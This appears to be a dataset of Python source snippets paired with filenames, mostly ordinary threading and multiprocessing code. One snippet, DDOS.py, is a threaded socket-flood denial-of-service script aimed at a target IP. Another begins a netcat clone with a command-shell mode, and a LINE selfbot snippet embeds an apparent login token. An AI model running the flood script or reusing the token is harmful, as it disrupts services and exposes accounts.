source
stringlengths
3
86
python
stringlengths
75
1.04M
local_callback.py
import os import sys import signal import logging.config import driller import argparse import subprocess import multiprocessing l = logging.getLogger("local_callback") def _run_drill(drill, fuzz, _path_to_input_to_drill, length_extension=None): _binary_path = fuzz.binary_path _fuzzer_out_dir = fuzz.out_dir ...
sdk_worker.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
th2.py
import threading import time def get_info_1(name, age, job): time.sleep(4) thread_name = threading.currentThread().getName() print(f"{name} | {age} | {job} --> {thread_name}") def get_info_2(name, age, job): time.sleep(1) thread_name = threading.currentThread().getName() print(f"{name} | {age}...
coreclr_config_download.py
#! /usr/bin/env python ################################################################################ ################################################################################ # # Module coreclr_config_download.py # # Notes: # # Simple script to grab all of the config.xml files for jobs. # ###################...
script.py
import pygame import cv2 import numpy as np import time import os from mydronesdk.ddpg_yolo_control.yolo.utils import get_yolo_boxes from mydronesdk.ddpg_yolo_control.yolo.bbox import draw_boxes from keras.models import load_model import json from mydronesdk.ddpg_yolo_control.rl_airsim.gym_airsim_env import AirsimEnv f...
test_gc.py
import unittest from test.support import (verbose, refcount_test, run_unittest, strip_python_stderr) import sys import time import gc import weakref try: import threading except ImportError: threading = None ### Support code #########################################################...
primes.py
# Набор функций для генерации простых чисел заданной длины. import random import multiprocessing import math global_primes_list = [] # хранение списка простых чисел CHECK_STEPS = 100 # раундов для проверки Ферма ERATO_PRIMES = 1000 # до какого протого числа делать решето def write_to_file():...
simulator.py
from __future__ import division import threading import pygame from .arenas import PiratePlunderArena, CTFArena, SunnySideUpArena, ABCArena, CalderaArena, TwoColoursArena from .display import Display DEFAULT_GAME = 'caldera' GAMES = {'caldera': CalderaArena, 'pirate-plunder': PiratePlunderArena, '...
__init__.py
""" The ``python_function`` model flavor serves as a default model interface for MLflow Python models. Any MLflow Python model is expected to be loadable as a ``python_function`` model. In addition, the ``mlflow.pyfunc`` module defines a generic :ref:`filesystem format <pyfunc-filesystem-format>` for Python models and...
makecorpus.py
import argparse import os import numpy as np from multiprocessing import Process, Queue from Queue import Empty import ioutils from representations.explicit import Explicit from statutils.fastfreqdist import CachedFreqDist SAMPLE_MAX = 1e9 def worker(proc_num, queue, out_dir, in_dir, count_dir, valid_words, num_word...
train_pose_only.py
import matplotlib matplotlib.use('Agg') import os from os.path import join import argparse import torch import numpy as np import pickle import sys import datetime sys.path.append('./utils') from torch import optim from torch import nn from torch import multiprocessing from torch.optim import lr_scheduler from torch.a...
test_h5py_utils.py
# coding: utf-8 # /*########################################################################## # Copyright (C) 2016-2017 European Synchrotron Radiation Facility # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to dea...
awake.pyw
"""awake: a small utility to keep a windows machine from going asleep""" import threading import time import logging from pyautogui import press from pystray import MenuItem as item import pystray from PIL import Image import tkinter as tk #Enabled/Disable Debug Mode DEBUGMODE = False if DEBUGMODE: lo...
test_c10d_nccl.py
# Owner(s): ["oncall: distributed"] import copy import math import os import random import signal import sys import tempfile import threading import time from contextlib import contextmanager from datetime import timedelta from itertools import product from unittest import mock import torch import torch.distributed a...
URLTest.py
#coding=utf-8 import random import threading from time import ctime,sleep import json import urllib2 import time def random_mac(): macList = [] for i in range(1, 7): randStr = "".join(random.sample("0123456789abcdef",2)) macList.append(randStr) randMac = ":".join(macList) return randMac ...
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import...
run_benchmarks.py
#!/usr/bin/env python3 # This file is Copyright (c) 2020 Antmicro <www.antmicro.com> # License: BSD # Limitations/TODO # - add configurable sdram_clk_freq - using hardcoded value now # - sdram_controller_data_width - try to expose the value from litex_sim to avoid duplicated code import os import re import sys impor...
Server.py
import socket from threading import Thread from clint.textui import colored s = socket.socket() port = int(input("Port: ")) name = input("Your Name: ") s.bind(('', port)) s.listen(5...
DDOS.py
import socket import threading target = '192.168.1.1' fake_ip = '192.168.1.100' port = 80 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) ...
queue_adapter.py
# coding: utf-8 from __future__ import unicode_literals """ This module contains contracts for defining adapters to various queueing systems, e.g. PBS/SLURM/SGE. """ import os import shlex import string import subprocess import threading import traceback import abc import collections import six import warnings from...
client.test.py
import asyncore import logging import socket import sys import time import unittest from threading import Thread from gym_donkeycar.core.sim_client import SDClient root = logging.getLogger() root.setLevel(logging.DEBUG) handler = logging.StreamHandler(sys.stdout) handler.setLevel(logging.DEBUG) formatter = logging.F...
motor.py
from bot import EventBot from urllib.request import urlopen from bs4 import BeautifulSoup from datetime import datetime, timedelta from threading import Thread from time import sleep # implementation of EventBot to track motorsport schedules from ESPN MOTOR_CHANNEL = -0 TOKEN = "" # processes schedules from ESPN.co...
handlers.py
# Copyright 2001-2015 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, oraz distribute this software oraz its # documentation dla any purpose oraz without fee jest hereby granted, # provided that the above copyright notice appear w all copies oraz that # both that copyright notice oraz this per...
main.py
from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium import webdriver from bs4 import BeautifulSoup from random import uniform from time import sleep from faker import Faker from scipy.io import...
A3C.py
""" Asynchronous Advantage Actor Critic (A3C), Reinforcement Learning. The BipedalWalker example. View more on [莫烦Python] : https://morvanzhou.github.io/2_tensorflow_old/ Using: tensorflow 1.8.0 gym 0.10.5 """ import multiprocessing import threading import tensorflow as tf import numpy as np import gym import os im...
generate_clean_barcodes.py
from tqdm import tqdm import pickle import numpy as np import treepoem import string import random import argparse import multiprocessing as mp parser = argparse.ArgumentParser(description='Generate clean barcodes.') parser.add_argument('--num_processes', '-n', type=int, default=6, help='Number of ...
test_sys.py
import builtins import codecs import gc import locale import operator import os import struct import subprocess import sys import sysconfig import test.support from test import support from test.support import os_helper from test.support.script_helper import assert_python_ok, assert_python_failure from test.support imp...
spammer.py
#!/usr/bin/env python3 #coding: utf-8 import sys import time import pycrow import numpy import threading pycrow.set_crowker(".12.109.173.108.206:10009") pycrow.create_udpgate(12, 10009) thr = threading.Thread(target=pycrow.spin) thr.start() while 1: time.sleep(1) arr = numpy.array([256,24]) arr = arr.astype(n...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import absolute_import from __future__ import print_function import copy import errno import fnmatch import hashlib import logging import multiprocessing import os import re import salt import signal import sys import threa...
tcp_server.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import threading bind_ip = "127.0.0.1" bind_port = 9999 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print ("[*] Listening on %s:%d" % (bind_ip,bind_port)) # クライアントからの接続を処理するスレッド def han...
test_insert.py
import copy import logging import threading import pytest from pymilvus import DataType, ParamError, BaseException from utils import utils as ut from common.constants import default_entity, default_entities, default_binary_entity, default_binary_entities, \ default_fields from common.common_type import CaseLabel ...
blinkdingsdo.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys, time, socket, logging, signal import RPi.GPIO as GPIO from threading import Thread from daemon import Daemon def blinkdingsdo(): HOST = '' # Symbolic name meaning all available interfaces PORT = 8888 # Arbitrary non-privileged port logfile = '/var/log/b...
QTMain.py
from PyQt5 import QtCore, QtGui, QtWidgets from main import main from multiprocessing import Process import multiprocessing import os import qdarkstyle from PyQt5.QtGui import QIcon import sys import nacl class Ui_MainWindow(object): def clicked(self): self.directoryNoExist.hide() if not self.runni...
__main__.py
"""Main process with queue management and remote LRS communication.""" from datetime import datetime import json import logging import os import signal import sys import threading import time from pyinotify import WatchManager, Notifier, NotifierError, EventsCodes, ProcessEvent from tincan import statement_list fro...
CatBot_Selfbot.py
# -*- coding: utf-8 -*- import LINETCR from LINETCR.lib.curve.ttypes import * from datetime import datetime import time,random,sys,json,codecs,threading,glob,re,ast,os,subprocess,requests cl = LINETCR.LINE() #cl.login(qr=True) cl.login(token="EnliZjabbWniaqdsPTt5.nqZhqiZgZilGvU4eyth5jq.4DldEayovtSgtlpllfy/HiizJIJKmoj...
main_window.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including witho...
worker.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import atexit import collections import colorama import copy import hashlib import inspect import json import numpy as np import os import redis import signal import sys import threading import time import trac...
miniterm.py
#!/usr/bin/env python # Very simple serial terminal # (C)2002-2011 Chris Liechti <cliechti@gmx.net> # Input characters are sent directly (only LF -> CR/LF/CRLF translation is # done), received characters are displayed as is (or escaped trough pythons # repr, useful for debug purposes) import sys, os, serial, thread...
voyager_donuts.py
""" Test script for guiding Voyager with donuts """ import sys import socket as s import traceback import time import threading import logging import queue import json import uuid import signal import argparse as ap from datetime import datetime from shutil import copyfile from collections import defaultdict import num...
PyShell.py
#! /usr/bin/env python from __future__ import print_function import os import os.path import sys import string import getopt import re import socket import time import threading import io import linecache from code import InteractiveInterpreter from platform import python_version, system try: ...
final_model_creator.py
import json import logging import os import sys import argparse import urllib3 from influxdb import InfluxDBClient from multiprocessing import Process from classes.artificial_features import ArtificialFeatures from classes.features_analyzer import FeaturesAnalyzer from classes.inputs_gatherer import InputsGatherer fr...
pyperun.py
#!${PYTHON_SHEBANG} ## Program: PypeS ## Module: $RCSfile: pype.py,v $ ## Language: Python ## Date: $Date: 2006/07/07 10:45:42 $ ## Version: $Revision: 1.18 $ ## Copyright (c) Luca Antiga, David Steinman. All rights reserved. ## See LICENCE file for details. ## This software is distributed WITH...
test_c10d_common.py
# Owner(s): ["oncall: distributed"] import copy import os import sys import tempfile import threading import time from datetime import timedelta from itertools import product from sys import platform import torch import torch.distributed as dist if not dist.is_available(): print("distributed package not availabl...
mp.py
import os import pickle import struct import sys from functools import partial from multiprocessing import Lock, Semaphore, Event as ProcessEvent from threading import Thread, Event as TrEvent, RLock as ThreadRLock from time import sleep, time from typing import List, Dict, Optional from multiprocessing import Process ...
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import...
py-collaborator-server.py
#!/usr/bin/python3 from http.server import BaseHTTPRequestHandler,HTTPServer import urllib import re import sys import ssl import json import string import random import socket import pymysql import argparse import datetime import threading from Database import Database from Logger import * VERSION = '0.1' # # CONF...
WiFiDevice.py
# Copyright (c) 2019, the rf_sensor authors (see AUTHORS.txt) # Licensed under the BSD 3-clause license (see LICENSE.txt) #!/usr/bin/env python3 #**************************************************** # Class for manipulating wifi interfaces # Input: # -i, iface: wireless interface name # -c, channels: chann...
test_mock.py
from localite.flow.mock import append, Queue, mocked_settings from localite.flow.mock import create_response as cr import threading import time from subprocess import Popen, PIPE import pytest from os import environ def test_message_queue(): outqueue = Queue(maxsize=7) is_running = threading.Event() appen...
RPI_SAKS_service.py
#!/usr/bin/env python # coding=utf-8 # import RPi.GPIO as GPIO import time import threading import os, sys import string # 使用BCM编码 GPIO.setmode(GPIO.BCM) LED_D1 = 5 LED_D2 = 6 LED_D3 = 13 LED_D4 = 19 LED_D5 = 0 LED_D6 = 1 LED_D7 = 7 LED_D8 = 8 BUZZER_B1 = 11 KEY_K1 = 23 KEY_K2 = 18 KEY_K3 = 24...
test_filestager.py
#!/usr/bin/env python import sys if sys.version_info[:2] < (2,6): sys.exit(0) from icecube import dataio from icecube.dataio.I3FileStagerFile import I3FileStagerFile from icecube import icetray import os # icetray.logging.I3Logger.global_logger = icetray.I3NullLogger() icetray.logging.set_level('TRACE') dataio....
test_ssl.py
# -*- coding: utf-8 -*- # Test the support for SSL and sockets import sys import unittest from test import test_support as support from test.script_helper import assert_python_ok import asyncore import socket import select import time import datetime import gc import os import errno import pprint import shutil import ...
engine.py
""" """ import logging import smtplib import os from abc import ABC from datetime import datetime from email.message import EmailMessage from queue import Empty, Queue from threading import Thread from typing import Any, Sequence, Type from vnpy.event import Event, EventEngine from .app import BaseApp from .event imp...
netcat.py
# ./netcat.py -l -p 9999 -c # ./netcat.py -t localhost -p 9999 # echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./netcat.py -t www.google.com -p 80 import sys import socket import getopt import threading import subprocess # define some global variable listen = False command = False upload = False execute...
train.py
import copy import datetime import json import time import sys import os import os.path import multiprocessing import signal import pickle import shutil from collections import defaultdict from pathlib import Path from abc import ABC, abstractmethod from dataclasses import dataclass, is_dataclass from typing import Opt...
reports_generator.py
""" DRS Reports generator package. Copyright (c) 2018-2020 Qualcomm Technologies, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met: Redistribut...
async.py
#!/usr/bin/env python # encoding: utf-8 """ async.py - functions for asyncrounous code Created by Maximillian Dornseif on 2009-02-15. Copyright (c) 2009 HUDORA. All rights reserved. parts based on http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/84317 """ import copy import logging import sys import threading ...
master_list_model.py
# Software License Agreement (BSD License) # # Copyright (c) 2012, Fraunhofer FKIE/US, Alexander Tiderko # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code mus...
IntegrationWrapperV2.py
#Integration testing for watershed deliniation import traceback import datetime import time import os import argparse import fnmatch import json import threading from WIMLib.WiMLogging import WiMLogging from WIMLib import Shared from WIMLib.Config import Config from ServiceAgents.StreamStatsServiceAgent import StreamSt...
main.py
from telegram.ext import Updater,CommandHandler, Filters from promise import Promise import story, errors, os, logging, hints import time, threading, pickle, users import sys from threading import Thread with open("api/TOKEN") as token_file: token = token_file.read().strip() with open("api/OWNERS") as owner_file:...
scheduler.py
import threading from PyQt5 import QtCore class ThreadPool(): def __init__(self): self.max_num_threads = 8 self.current_num_threads = 0 self.threads = [] for thread_index in range(self.max_num_threads): self.threads.append(threading.Thread()) # find an ...
scoring_functions.py
#!/usr/bin/env python from __future__ import print_function, division import numpy as np from rdkit import Chem from rdkit import rdBase from rdkit.Chem import AllChem from rdkit import DataStructs from sklearn import svm import time import pickle import re import threading import pexpect rdBase.DisableLog('rdApp.error...
tests.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
memberships.py
#################### # # Copyright (c) 2018 Fox-IT # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge...
discover_devices.py
""" Module Name: discover_devices.py Description: Module provides functionality to search (discover) devices in local network and store devices' data on the SQLite3 database. Authors: Columbia University, the Internet Real-Time Lab (IRT Lab). 2018-2019. """ import gevent import random import time import ...
main-keyboard-remapper.py
#!/usr/bin/python3 # # Remapper for Topre Realfoce and the thinkpad internal keyboard. # import os import sys import threading import time import evdev from evdev import ecodes as ec import key_remapper NAME = "Main Keyboard Remapper" SCRIPT_PATH = os.path.dirname(os.path.realpath(__file__)) ICON = os.path.join(SCRI...
environment.py
import abc import datetime import os import json import shutil import signal import six import subprocess import sys import tempfile import threading import time import yaml import patroni.psycopg as psycopg from six.moves.BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer @six.add_metaclass(abc.ABCMeta) clas...
ircbot.py
#!/usr/bin/env python3 """IRC bot for doing stupid stuff and sometimes handling commands for account creation.""" import argparse import collections import functools import getpass import pkgutil import re import ssl import threading import time from configparser import ConfigParser from datetime import date import ir...
executor.py
import json import logging import os import socket import subprocess import sys import threading import time import uuid import pika import shutil rabbitmq_uri = os.getenv('RABBITMQ_URI', 'amqp://guest:guest@rabbitmq/%2F') rabbitmq_queue = os.getenv('RABBITMQ_QUEUE', 'pecan') default_application = os.getenv('APPLICAT...
__main__.py
import multiprocessing from multiprocessing import Queue, Process import time def listen(input_q): output_qs = [] try: while True: item = input_q.get() if item == None: return elif isinstance(item, multiprocessing.queues.Queue): prin...
main.py
#!/usr/bin/env python3 import sys, os from threading import Thread import gym import threading import numpy as np import tensorflow as tf from a3c import A3C_Worker, A3C_Net def main(): #training vars worker_num = 4 global_train_steps = 1000 #50000 = 1 million steps test = True env_name = '...
mp_test.py
import multiprocessing as mp import os # https://www.maxlist.xyz/2020/03/15/python-threading/ class Dosomething: def __init__(self): self.p_list = [] def dosomething(self, i): print('第' + str(i)) print('多程序 ID:' + str(os.getpid())) def run(self): for i in range(5): ...
gmail.py
""" File: gmail.py -------------- Home to the main Gmail service object. Currently supports sending mail (with attachments) and retrieving mail with the full suite of Gmail search options. """ import base64 from email.mime.audio import MIMEAudio from email.mime.application import MIMEApplication from email.mime...
exac.py
import itertools import json import os import pymongo import pysam import gzip from parsing import * import logging import lookups import random import sys from utils import * from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, jsonify, send_from_directory from flask.ext.com...
installwizard.py
# Copyright (C) 2018 The Electrum developers # Distributed under the MIT software license, see the accompanying # file LICENCE or http://www.opensource.org/licenses/mit-license.php import os import json import sys import threading import traceback from typing import Tuple, List, Callable, NamedTuple, Optional, TYPE_CH...
TestSmartCacheWithRemoteOptimizerV2.py
# # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # import logging import os from threading import Thread import unittest from mlos.Logger import create_logger from mlos.Examples.SmartCache import SmartCacheWorkloadGenerator, SmartCache from mlos.Examples.SmartCache.TelemetryAgg...
bot.py
# coding=utf-8 # Copyright 2008, Sean B. Palmer, inamidst.com # Copyright © 2012, Elad Alfassa <elad@fedoraproject.org> # Copyright 2012-2015, Elsie Powell, http://embolalia.com # Copyright 2019, Florian Strzelecki <florian.strzelecki@gmail.com> # # Licensed under the Eiffel Forum License 2. from __future__ import uni...
rpc_test.py
import concurrent.futures import contextlib import json import os import sys import threading import time from collections import namedtuple from functools import partial from threading import Event from threading import Lock from unittest import mock import torch import torch.nn as nn import torch.distributed as dis...
util.py
# pylint: disable=consider-using-enumerate """Common utilities.""" import functools import itertools as it import logging import os import subprocess import re import time from collections import OrderedDict from functools import partial, partialmethod import threading from typing import Sequence, Any, Union from warni...
main.py
import multiprocessing from mlapp.env_loader import EnvironmentLoader from mlapp.utils.general import read_json_file import importlib import uuid import json from mlapp.handlers.wrappers.database_wrapper import database_instance from mlapp.handlers.wrappers.file_storage_wrapper import file_storage_instance from mlapp.h...
display_manager.py
# Copyright 2017 Mycroft AI Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
node.py
from threading import Thread import client as cl import storage import socket import utils import json import time import os class Node: inbound = 2424 def __init__(self, peers): self.pool = peers self.actions = {'AddPeer': self.add_peer, 'HashVal': self.hashdump, 'Uptime': self.uptime} self.mem...
proxy2.py
# -*- coding: utf-8 -*- import sys import os import socket import ssl import select import httplib import base64 import urlparse import threading import gzip import zlib import time import json import re import traceback from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from SocketServer import ThreadingMix...
kaldi_io.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2014-2016 Brno University of Technology (author: Karel Vesely) # Licensed under the Apache License, Version 2.0 (the "License") import numpy as np import sys, os, re, gzip, struct ################################################# # Adding kaldi too...
test_collection.py
from functools import reduce import numpy import pandas as pd import pytest from base.client_base import TestcaseBase from common import common_func as cf from common import common_type as ct from common.common_type import CaseLabel, CheckTasks from utils.util_pymilvus import * from utils.util_log import test_log as ...
CApplication.py
# ------------------------------------------------------------------------------ # CodeHawk C Analyzer # Author: Henny Sipma # ------------------------------------------------------------------------------ # The MIT License (MIT) # # Copyright (c) 2017-2020 Kestrel Technology LLC # # Permission is hereby granted, free ...
resnet50_ddp_profiler.py
import os import torch import torch.backends.cudnn as cudnn import torch.distributed as dist import torch.multiprocessing as mp import torch.nn as nn import torch.optim import torch.profiler import torch.utils.data import torchvision import torchvision.models as models import torchvision.transforms as T from torch.nn....
test_randomstate.py
import hashlib import pickle import sys import warnings import numpy as np from numpy.testing import ( assert_, assert_array_almost_equal, assert_array_equal, assert_equal, assert_no_warnings, assert_raises, assert_warns, suppress_warnings, ) import pytest from randomgen.mt19937 import...
archives_archiver.py
import base64 import os import logging import random import re import subprocess import shutil import sqlite3 import sys import threading import time import pandas as pd import PySimpleGUI as sg from dateutil import parser from contextlib import closing from typing import List, Dict from thefuzz import fuzz from colle...
test__issue600.py
# Make sure that libev child watchers, implicitly installed through the use # of subprocess, do not cause waitpid() to fail to poll for processes. # NOTE: This was only reproducible under python 2. from __future__ import print_function import gevent from gevent import monkey monkey.patch_all() import sys from multipro...
test_core.py
""" tests.test_core ~~~~~~~~~~~~~~~~~ Provides tests to verify that Home Assistant core works. """ # pylint: disable=protected-access,too-many-public-methods # pylint: disable=too-few-public-methods import os import unittest import unittest.mock as mock import time import threading from datetime import datetime impor...
app.py
# -- Imports -------------------------------------------------------------------------- from sanic import Sanic, Blueprint from threading import Thread from gspread import authorize from oauth2client.service_account import ServiceAccountCredentials from limits.strategies import FixedWindowElasticExpiryRateLimiter from...
tests.py
from hstest.stage_test import StageTest from hstest.test_case import TestCase from hstest.check_result import CheckResult from hstest.exceptions import WrongAnswerException from threading import Thread from time import sleep import socket import random CheckResult.correct = lambda: CheckResult(True, '') CheckResult.wr...
stuff.py
#!/usr/bin/env python import time from datetime import datetime from datetime import timedelta from datetime import date import sys import threading import RPi.GPIO as GPIO import Adafruit_DHT from Adafruit_LED_Backpack import SevenSegment import holidays us_holidays = holidays.US() holiday_list = [ 'New Year\'s ...
docker_xml_to_init.py
import xml.etree.ElementTree as ET import sys import uuid from interscity_client import platform from multiprocessing import Process def register_car(generated_uuid): car_builder.register(generated_uuid, "Car "+generated_uuid, ["city_traffic"]) if __name__ == '__main__': RUNNING_ENV = os.get_env("RUNNING_ENV"...
test_generator_mt19937.py
import sys import hashlib import pytest import numpy as np from numpy.linalg import LinAlgError from numpy.testing import ( assert_, assert_raises, assert_equal, assert_allclose, assert_warns, assert_no_warnings, assert_array_equal, assert_array_almost_equal, suppress_warnings) from numpy.random import G...
base.py
"""Worker pool executor base classes.""" import os import numbers import threading import time import datetime import pprint import traceback import queue from schema import Or, And, Use from testplan.common.config import ConfigOption, validate_func from testplan.common import entity from testplan.common.utils.thread...
test_incoming.py
# -*- encoding: utf-8 -*- # # Copyright © 2017 Red Hat, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
ddp.py
# Copyright 2021 MosaicML. All Rights Reserved. from __future__ import annotations import collections.abc import datetime import logging import os import signal import subprocess import sys import tempfile import time import warnings from abc import ABC, abstractmethod from contextlib import contextmanager, nullconte...
threaded.py
""" raven.transport.threaded ~~~~~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import atexit import logging import time import threading import os from raven.utils.compat import Queue from raven.transport.base import ...
example3.py
import threading def writer(): global text while True: with service: resource.acquire() print(f'Writing being done by {threading.current_thread().name}.') text += f'Writing was done by {threading.current_thread().name}. ' resource.release() def reader(): glob...